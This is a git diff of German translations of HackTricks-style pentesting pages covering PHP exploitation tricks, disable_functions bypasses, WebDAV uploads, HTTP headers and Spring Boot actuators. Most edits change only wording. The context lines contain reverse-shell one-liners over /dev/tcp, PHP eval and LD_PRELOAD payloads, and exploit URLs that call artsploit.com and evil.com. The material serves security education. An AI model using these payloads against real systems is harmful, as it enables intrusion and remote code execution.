-- Wenn eine PHP-Konfiguration **`register_argc_argv = On`** hat, werden Abfrageparameter, die durch Leerzeichen getrennt sind, verwendet, um das Array der Argumente **`array_keys($_SERVER['argv'])`** zu füllen, als ob sie **Argumente von der CLI** wären. Dies ist interessant, weil, wenn diese **Einstellung aus ist**, der Wert des **args-Arrays `Null`** sein wird, wenn es von der Webanwendung aufgerufen wird, da das args-Array nicht gefüllt wird. Daher, wenn eine Webseite versucht zu überprüfen, ob sie als Web- oder CLI-Tool läuft, mit einem Vergleich wie `if (empty($_SERVER['argv'])) {`, könnte ein Angreifer **Parameter in der GET-Anfrage wie `?--configPath=/lalala`** senden und es wird denken, dass es als CLI läuft und könnte diese Argumente potenziell parsen und verwenden. Weitere Informationen im [originalen Bericht](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- Wenn eine PHP-Konfiguration **`register_argc_argv = On`** hat, werden Abfrageparameter, die durch Leerzeichen getrennt sind, verwendet, um das Array der Argumente **`array_keys($_SERVER['argv'])`** zu füllen, als ob sie **Argumente von der CLI** wären. Dies ist interessant, weil, wenn diese **Einstellung aus ist**, der Wert des **args-Arrays `Null`** sein wird, wenn es von der Webanwendung aufgerufen wird, da das args-Array nicht gefüllt wird. Daher, wenn eine Webseite versucht zu überprüfen, ob sie als Web- oder CLI-Tool läuft, mit einem Vergleich wie `if (empty($_SERVER['argv'])) {`, könnte ein Angreifer **Parameter in der GET-Anfrage wie `?--configPath=/lalala`** senden und es wird denken, dass es als CLI läuft und potenziell diese Argumente parsen und verwenden. Weitere Informationen im [originalen Bericht](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -171,7 +171,7 @@ False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` -### HTTP-Header-Bypass durch Ausnutzung von PHP-Fehlern +### HTTP-Header-Bypass durch Missbrauch von PHP-Fehlern #### Fehler verursachen nach dem Setzen von Headern @@ -186,7 +186,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; #### Füllen eines Körpers, bevor Header gesetzt werden Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server einen Fehler ausgibt, wenn er versucht, **die Header** in die Antwort einzufügen.\ -Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, konnte PHP, als es versuchte, **die Header-Informationen zu ändern, dies nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet): +Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Headerinformationen zu ändern, konnte es nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet): ![](<../../../images/image (1085).png>) @@ -212,7 +212,7 @@ preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Um den Code im "replace"-Argument auszuführen, ist mindestens ein Treffer erforderlich.\ -Diese Option von preg_replace ist **seit PHP 5.5.0 veraltet.** +Diese Option von preg_replace ist **ab PHP 5.5.0 veraltet.** ### **RCE über Eval()** ``` @@ -274,13 +274,13 @@ Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/hts ### RCE über Env-Variablen -Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten. +Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP** zu **ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert). - **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird. 1. Laden Sie eine PHP-Datei mit unserem Shellcode hoch. 2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Direktive enthält, die den PHP-Präprozessor anweist, die Datei aus Schritt 1 auszuführen. -3. Setzen Sie die `PHPRC`-Variable auf die Datei, die Sie in Schritt 2 hochgeladen haben. +3. Setzen Sie die `PHPRC`-Variable auf die Datei, die wir in Schritt 2 hochgeladen haben. - Erhalten Sie weitere Informationen zur Ausführung dieser Kette [**aus dem ursprünglichen Bericht**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - eine weitere Option - Wenn Sie **keine Dateien hochladen können**, könnten Sie in FreeBSD die "Datei" `/dev/fd/0` verwenden, die den **`stdin`** enthält, der den **Inhalt** der an den `stdin` gesendeten Anfrage darstellt: @@ -327,19 +327,19 @@ $_COOKIE | if #This mea ``` Wenn Sie eine PHP-Anwendung debuggen, können Sie die Fehlerausgabe global aktivieren, indem Sie `display_errors = On` in `/etc/php5/apache2/php.ini` hinzufügen und Apache neu starten: `sudo systemctl restart apache2` -### Deobfuscating PHP code +### Deobfuskation von PHP-Code -Sie können die **web**[ **www.unphp.net**](http://www.unphp.net) **verwenden, um PHP-Code zu deobfuskieren.** +Sie können die **Webseite** [**www.unphp.net**](http://www.unphp.net) **verwenden, um PHP-Code zu deobfuskieren.** -## PHP Wrappers & Protocols +## PHP-Wrapper & Protokolle -PHP-Wrappers und -Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu **umgehen** und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). +PHP-Wrapper und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). -## Xdebug unauthenticated RCE +## Xdebug nicht authentifizierte RCE Wenn Sie sehen, dass **Xdebug** in einer `phpconfig()`-Ausgabe **aktiviert** ist, sollten Sie versuchen, RCE über [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) zu erhalten. -## Variable variables +## Variable Variablen ```php $x = 'Da'; $$x = 'Drums'; @@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE durch Missbrauch von $\_GET\["a"]\($\_GET\["b") -Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu erfahren, wie: +Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu lernen, wie: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -383,7 +383,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürlichen PHP-Code auszuführen: +Also, wenn Sie **willkürliches PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, indem Sie diese Nutzlast missbrauchen, um willkürliches PHP auszuführen: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 590f35bd8..2e73dda05 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -1,4 +1,4 @@ -# PHP - Nützliche Funktionen & disable_functions/open_basedir Umgehung +# PHP - Nützliche Funktionen & disable_functions/open_basedir Bypass {{#include ../../../../banners/hacktricks-training.md}} @@ -24,7 +24,7 @@ echo system("uname -a"); ```bash echo shell_exec("uname -a"); ``` -\`\` (Backticks) - Dasselbe wie shell_exec() +\`\` (backticks) - Dasselbe wie shell_exec() ```bash echo `uname -a` ``` @@ -48,7 +48,7 @@ pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` -**dl** - Diese Funktion kann verwendet werden, um eine PHP-Erweiterung dynamisch zu laden. Diese Funktion ist nicht immer vorhanden, daher sollten Sie überprüfen, ob sie verfügbar ist, bevor Sie versuchen, sie auszunutzen. Lesen Sie [diese Seite, um zu lernen, wie man diese Funktion ausnutzt](disable_functions-bypass-dl-function.md). +**dl** - Diese Funktion kann verwendet werden, um eine PHP-Erweiterung dynamisch zu laden. Diese Funktion wird nicht immer vorhanden sein, daher sollten Sie überprüfen, ob sie verfügbar ist, bevor Sie versuchen, sie auszunutzen. Lesen Sie [diese Seite, um zu lernen, wie man diese Funktion ausnutzt](disable_functions-bypass-dl-function.md). ### PHP-Codeausführung @@ -74,8 +74,8 @@ $func->invokeArgs(array()); ``` ## disable_functions & open_basedir -**Deaktivierte Funktionen** ist die Einstellung, die in `.ini`-Dateien in PHP konfiguriert werden kann und die die Verwendung der angegebenen **Funktionen** **verboten** wird. **Open basedir** ist die Einstellung, die PHP den Ordner angibt, auf den es zugreifen kann.\ -Die PHP-Einstellung sollte im Pfad _/etc/php7/conf.d_ oder ähnlich konfiguriert werden. +**Deaktivierte Funktionen** ist die Einstellung, die in `.ini`-Dateien in PHP konfiguriert werden kann und die die Verwendung der angegebenen **Funktionen** **verhindert**. **Open basedir** ist die Einstellung, die PHP den Ordner angibt, auf den es zugreifen kann.\ +Die PHP-Einstellung wird normalerweise im Pfad _/etc/php7/conf.d_ oder ähnlich konfiguriert. Beide Konfigurationen können in der Ausgabe von **`phpinfo()`** gesehen werden: @@ -111,7 +111,7 @@ echo "{$f}
"; **Hinweis2**: Es scheint, dass ein Teil des Codes dupliziert ist, aber das ist tatsächlich notwendig!\ **Hinweis3**: Dieses Beispiel ist nur nützlich, um Ordner aufzulisten, nicht um Dateien zu lesen. -### Vollständiger open_basedir Bypass unter Ausnutzung von FastCGI +### Vollständiger open_basedir-Bypass unter Ausnutzung von FastCGI Wenn Sie **mehr über PHP-FPM und FastCGI erfahren möchten**, können Sie den [ersten Abschnitt dieser Seite](disable_functions-bypass-php-fpm-fastcgi.md) lesen.\ Wenn **`php-fpm`** konfiguriert ist, können Sie es ausnutzen, um **open_basedir** vollständig zu umgehen: @@ -120,7 +120,7 @@ Wenn **`php-fpm`** konfiguriert ist, können Sie es ausnutzen, um **open_basedir ![](<../../../../images/image (577).png>) -Beachten Sie, dass das erste, was Sie tun müssen, ist, herauszufinden, wo sich der **Unix-Socket von php-fpm** befindet. Er befindet sich normalerweise unter `/var/run`, sodass Sie **den vorherigen Code verwenden können, um das Verzeichnis aufzulisten und ihn zu finden**.\ +Beachten Sie, dass das Erste, was Sie tun müssen, ist herauszufinden, wo sich der **Unix-Socket von php-fpm** befindet. Er befindet sich normalerweise unter `/var/run`, sodass Sie **den vorherigen Code verwenden können, um das Verzeichnis aufzulisten und ihn zu finden**.\ Code von [hier](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). ```php & /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` -#### Bypass mit Chankro +#### Bypass using Chankro -Um diese Fehlkonfiguration auszunutzen, können Sie [**Chankro**](https://github.com/TarlogicSecurity/Chankro) verwenden. Dies ist ein Tool, das einen **PHP-Exploit** generiert, den Sie auf den verwundbaren Server hochladen und ausführen müssen (über das Web darauf zugreifen).\ -**Chankro** wird auf der Festplatte des Opfers die **Bibliothek und die Reverse Shell** schreiben, die Sie ausführen möchten, und wird den **`LD_PRELOAD` Trick + PHP `mail()`** Funktion verwenden, um die Reverse Shell auszuführen. +Um diese Fehlkonfiguration auszunutzen, können Sie [**Chankro**](https://github.com/TarlogicSecurity/Chankro) verwenden. Dies ist ein Tool, das einen **PHP-Exploit** generiert, den Sie auf den anfälligen Server hochladen und ausführen müssen (über das Web darauf zugreifen).\ +**Chankro** wird auf der Festplatte des Opfers die **Bibliothek und die Reverse-Shell**, die Sie ausführen möchten, schreiben und den **`LD_PRELOAD` Trick + PHP `mail()`** Funktion verwenden, um die Reverse-Shell auszuführen. -Beachten Sie, dass **Chankro** verwendet werden kann, wenn `mail` und `putenv` **nicht in der `disable_functions` Liste erscheinen**.\ -Im folgenden Beispiel sehen Sie, wie Sie einen **Chankro-Exploit** für **arch 64** erstellen, der `whoami` ausführt und die Ausgabe in _/tmp/chankro_shell.out_ speichert. Chankro wird die **Bibliothek und das Payload** in _/tmp_ schreiben und der **endgültige Exploit** wird **bicho.php** genannt (das ist die Datei, die Sie auf den Server des Opfers hochladen müssen): +Beachten Sie, dass **Chankro** `mail` und `putenv` **nicht in der `disable_functions` Liste** erscheinen dürfen.\ +Im folgenden Beispiel sehen Sie, wie Sie einen **Chankro-Exploit** für **arch 64** erstellen, der `whoami` ausführt und die Ausgabe in _/tmp/chankro_shell.out_ speichert. Chankro wird die **Bibliothek und die Payload** in _/tmp_ schreiben und der **endgültige Exploit** wird **bicho.php** genannt (das ist die Datei, die Sie auf den Server des Opfers hochladen müssen): {{#tabs}} {{#tab name="shell.sh"}} @@ -591,9 +591,9 @@ Das folgende Skript versucht einige der hier kommentierten Methoden:\ ## Weitere interessante PHP-Funktionen -### Liste der Funktionen, die Rückrufe akzeptieren +### Liste von Funktionen, die Rückrufe akzeptieren -Diese Funktionen akzeptieren einen String-Parameter, der verwendet werden könnte, um eine Funktion nach Wahl des Angreifers aufzurufen. Je nach Funktion hat der Angreifer möglicherweise die Möglichkeit, einen Parameter zu übergeben oder auch nicht. In diesem Fall könnte eine Informationsoffenlegungsfunktion wie phpinfo() verwendet werden. +Diese Funktionen akzeptieren einen String-Parameter, der verwendet werden könnte, um eine Funktion nach Wahl des Angreifers aufzurufen. Je nach Funktion hat der Angreifer möglicherweise die Möglichkeit, einen Parameter zu übergeben oder nicht. In diesem Fall könnte eine Informationsoffenlegungsfunktion wie phpinfo() verwendet werden. [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) @@ -677,7 +677,7 @@ posix_setuid ``` ### Dateisystemfunktionen -Laut RATS sind alle Dateisystemfunktionen in PHP unangenehm. Einige davon scheinen für den Angreifer nicht sehr nützlich zu sein. Andere sind nützlicher, als man denkt. Wenn allow_url_fopen=On ist, kann eine URL als Dateipfad verwendet werden, sodass ein Aufruf von copy($\_GET\['s'], $\_GET\['d']); verwendet werden kann, um ein PHP-Skript überall im System hochzuladen. Wenn eine Website anfällig für eine über GET gesendete Anfrage ist, können alle diese Dateisystemfunktionen missbraucht werden, um einen Angriff über Ihren Server an einen anderen Host zu leiten. +Laut RATS sind alle Dateisystemfunktionen in PHP unangenehm. Einige davon scheinen für den Angreifer nicht sehr nützlich zu sein. Andere sind nützlicher, als man denkt. Wenn allow_url_fopen=On ist, kann eine URL als Dateipfad verwendet werden, sodass ein Aufruf von copy($\_GET\['s'], $\_GET\['d']); verwendet werden kann, um ein PHP-Skript überall im System hochzuladen. Wenn eine Website auch anfällig für eine über GET gesendete Anfrage ist, können alle diese Dateisystemfunktionen missbraucht werden, um einen Angriff über Ihren Server an einen anderen Host zu leiten. **Offener Dateisystem-Handler** ```php diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 7d80ad8da..3aac14304 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -41,14 +41,14 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' Diese Verwundbarkeit ist sehr interessant. **WebDav** erlaubt **nicht**, Dateien mit der Erweiterung **.asp** zu **hochladen** oder **umzubenennen**. Aber du kannst dies **umgehen**, indem du am Ende des Namens **";.txt"** hinzufügst, und die Datei wird **ausgeführt**, als ob es sich um eine .asp-Datei handelt (du könntest auch **".html" anstelle von ".txt" verwenden**, aber **VERGISS nicht das ";"**). -Dann kannst du deine Shell als ".**txt" Datei** **hochladen** und sie in eine ".asp;.txt" **Datei kopieren/bewegen**. Wenn du auf diese Datei über den Webserver zugreifst, wird sie **ausgeführt** (cadaver wird sagen, dass die Verschiebeaktion nicht funktioniert hat, aber das tat sie). +Dann kannst du deine Shell als ".**txt" Datei** **hochladen** und sie in eine ".asp;.txt" Datei **kopieren/bewegen**. Wenn du auf diese Datei über den Webserver zugreifst, wird sie **ausgeführt** (cadaver wird sagen, dass die Verschiebeaktion nicht funktioniert hat, aber das tat sie). ![](<../../images/image (1092).png>) ## Post-Anmeldeinformationen Wenn Webdav einen Apache-Server verwendet, solltest du die konfigurierten Sites in Apache überprüfen. Üblicherweise:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ Darin könntest du etwas finden wie: ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 77f152a87..4eac8e2a3 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Wortlisten & Werkzeuge +## Wortlisten & Tools - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers) - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble) @@ -33,9 +33,9 @@ Schreibe **Standort** um: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -## Hop-by-Hop-Header +## Hop-by-Hop Header -Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage derzeit bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header. +Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage derzeit bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header. - `Connection: close, X-Forwarded-For` @@ -69,12 +69,12 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d **Lokale Cache-Header**: -- `Clear-Site-Data`: Header, um anzugeben, dass der Cache entfernt werden soll: `Clear-Site-Data: "cache", "cookies"` +- `Clear-Site-Data`: Header, um anzugeben, welcher Cache entfernt werden soll: `Clear-Site-Data: "cache", "cookies"` - `Expires`: Enthält Datum/Uhrzeit, wann die Antwort ablaufen soll: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` dasselbe wie `Cache-Control: no-cache` - `Warning`: Der **`Warning`** allgemeine HTTP-Header enthält Informationen über mögliche Probleme mit dem Status der Nachricht. Mehr als ein `Warning`-Header kann in einer Antwort erscheinen. `Warning: 110 anderson/1.3.37 "Response is stale"` -## Bedingungen +## Bedingte Anfragen - Anfragen, die diese Header verwenden: **`If-Modified-Since`** und **`If-Unmodified-Since`** werden nur mit Daten beantwortet, wenn der Antwortheader **`Last-Modified`** eine andere Zeit enthält. - Bedingte Anfragen, die **`If-Match`** und **`If-None-Match`** verwenden, nutzen einen Etag-Wert, sodass der Webserver den Inhalt der Antwort sendet, wenn sich die Daten (Etag) geändert haben. Der `Etag` wird aus der HTTP-Antwort entnommen. @@ -84,7 +84,7 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d - **`Accept-Ranges`**: Gibt an, ob der Server Bereichsanfragen unterstützt und, falls ja, in welcher Einheit der Bereich ausgedrückt werden kann. `Accept-Ranges: ` - **`Range`**: Gibt den Teil eines Dokuments an, den der Server zurückgeben soll. Zum Beispiel wird `Range:80-100` die Bytes 80 bis 100 der ursprünglichen Antwort mit einem Statuscode von 206 Partial Content zurückgeben. Denken Sie auch daran, den `Accept-Encoding`-Header aus der Anfrage zu entfernen. -- Dies könnte nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst möglicherweise escaped werden könnte. Um dies auszunutzen, müssten Sie jedoch diese Header in die Anfrage injizieren. +- Dies könnte nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst möglicherweise entkommen könnte. Aber um dies auszunutzen, müssten Sie diese Header in die Anfrage injizieren. - **`If-Range`**: Erstellt eine bedingte Bereichsanfrage, die nur erfüllt wird, wenn der angegebene Etag oder das Datum mit der entfernten Ressource übereinstimmt. Wird verwendet, um das Herunterladen von zwei Bereichen aus inkompatiblen Versionen der Ressource zu verhindern. - **`Content-Range`**: Gibt an, wo in einer vollständigen Nachrichtenkörper eine partielle Nachricht gehört. @@ -93,13 +93,13 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d - **`Content-Length`:** Die Größe der Ressource, in dezimalen Bytes. - **`Content-Type`**: Gibt den Medientyp der Ressource an - **`Content-Encoding`**: Wird verwendet, um den Komprimierungsalgorithmus anzugeben. -- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es dem Benutzer ermöglicht, entsprechend der bevorzugten Sprache des Benutzers zu unterscheiden. +- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es einem Benutzer ermöglicht, entsprechend der bevorzugten Sprache des Benutzers zu unterscheiden. - **`Content-Location`**: Gibt einen alternativen Standort für die zurückgegebenen Daten an. -Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch einen 401 oder 403 und Sie einen **Weg** finden können, um diese **Informationen** zu **erhalten**, könnte dies **interessant** sein.\ +Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch eine 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite über HEAD-Anfragen leaken: -- Eine Anfrage mit dem Header `Range: bytes=20-20` und einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist. +- Eine Anfrage mit dem Header `Range: bytes=20-20` und mit einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist. ## Server-Info @@ -113,7 +113,7 @@ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD- ## Downloads -- Der **`Content-Disposition`**-Header in HTTP-Antworten gibt an, ob eine Datei **inline** (innerhalb der Webseite) angezeigt oder als **Anhang** (heruntergeladen) behandelt werden soll. Zum Beispiel: +- Der **`Content-Disposition`**-Header in HTTP-Antworten gibt an, ob eine Datei **inline** (innerhalb der Webseite) oder als **Anhang** (heruntergeladen) behandelt werden soll. Zum Beispiel: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -127,9 +127,9 @@ Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und ../../pentesting-web/content-security-policy-csp-bypass/ {{#endref}} -### **Vertraute Typen** +### **Vertrauenswürdige Typen** -Durch die Durchsetzung von Vertrauten Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertraute Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird. +Durch die Durchsetzung von Vertrauenswürdigen Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertrauenswürdige Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -160,7 +160,7 @@ X-Frame-Options: DENY ``` ### **Cross-Origin Resource Policy (CORP) und Cross-Origin Resource Sharing (CORS)** -CORP ist entscheidend für die Festlegung, welche Ressourcen von Websites geladen werden können, um Cross-Site-Leaks zu mindern. CORS hingegen ermöglicht einen flexibleren Mechanismus für das Teilen von Ressourcen über Ursprünge hinweg und lockert die Same-Origin-Policy unter bestimmten Bedingungen. +CORP ist entscheidend für die Festlegung, welche Ressourcen von Websites geladen werden können, um Cross-Site-Leaks zu mindern. CORS hingegen ermöglicht einen flexibleren Mechanismus für das Cross-Origin Resource Sharing und lockert die Same-Origin-Policy unter bestimmten Bedingungen. ``` Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 464212dc3..60567ecc6 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,7 +6,7 @@
-**Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Ausnutzen von Spring Boot Actuators @@ -23,7 +23,7 @@ 1. **Remote Code Execution über '/jolokia'**: - Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia-Bibliothek, die HTTP-Zugriff auf MBeans ermöglicht. -- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL neu zu laden, was zu blindem XXE oder Remote Code Execution über gestaltete XML-Konfigurationen führen kann. +- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL neu zu laden, was zu blindem XXE oder Remote Code Execution über manipulierte XML-Konfigurationen führen kann. - Beispiel für eine Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Konfigurationsänderung über '/env'**: @@ -40,8 +40,8 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Andere nützliche Einstellungen**: -- Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder Ändern von Datenbankverbindungszeichenfolgen. +3. **Weitere nützliche Einstellungen**: +- Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder das Ändern von Datenbankverbindungszeichenfolgen. ### **Zusätzliche Informationen:** @@ -52,15 +52,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream 1. **Env + H2 RCE**: - Details zur Ausnutzung der Kombination von `/env` Endpunkt und H2-Datenbank finden Sie [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF auf Spring Boot durch falsche Pfadinterpretation**: +2. **SSRF auf Spring Boot durch falsche Pfadinterpretation**: - Die Handhabung von Matrixparametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden. - Beispiel für eine Exploit-Anfrage: - ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md 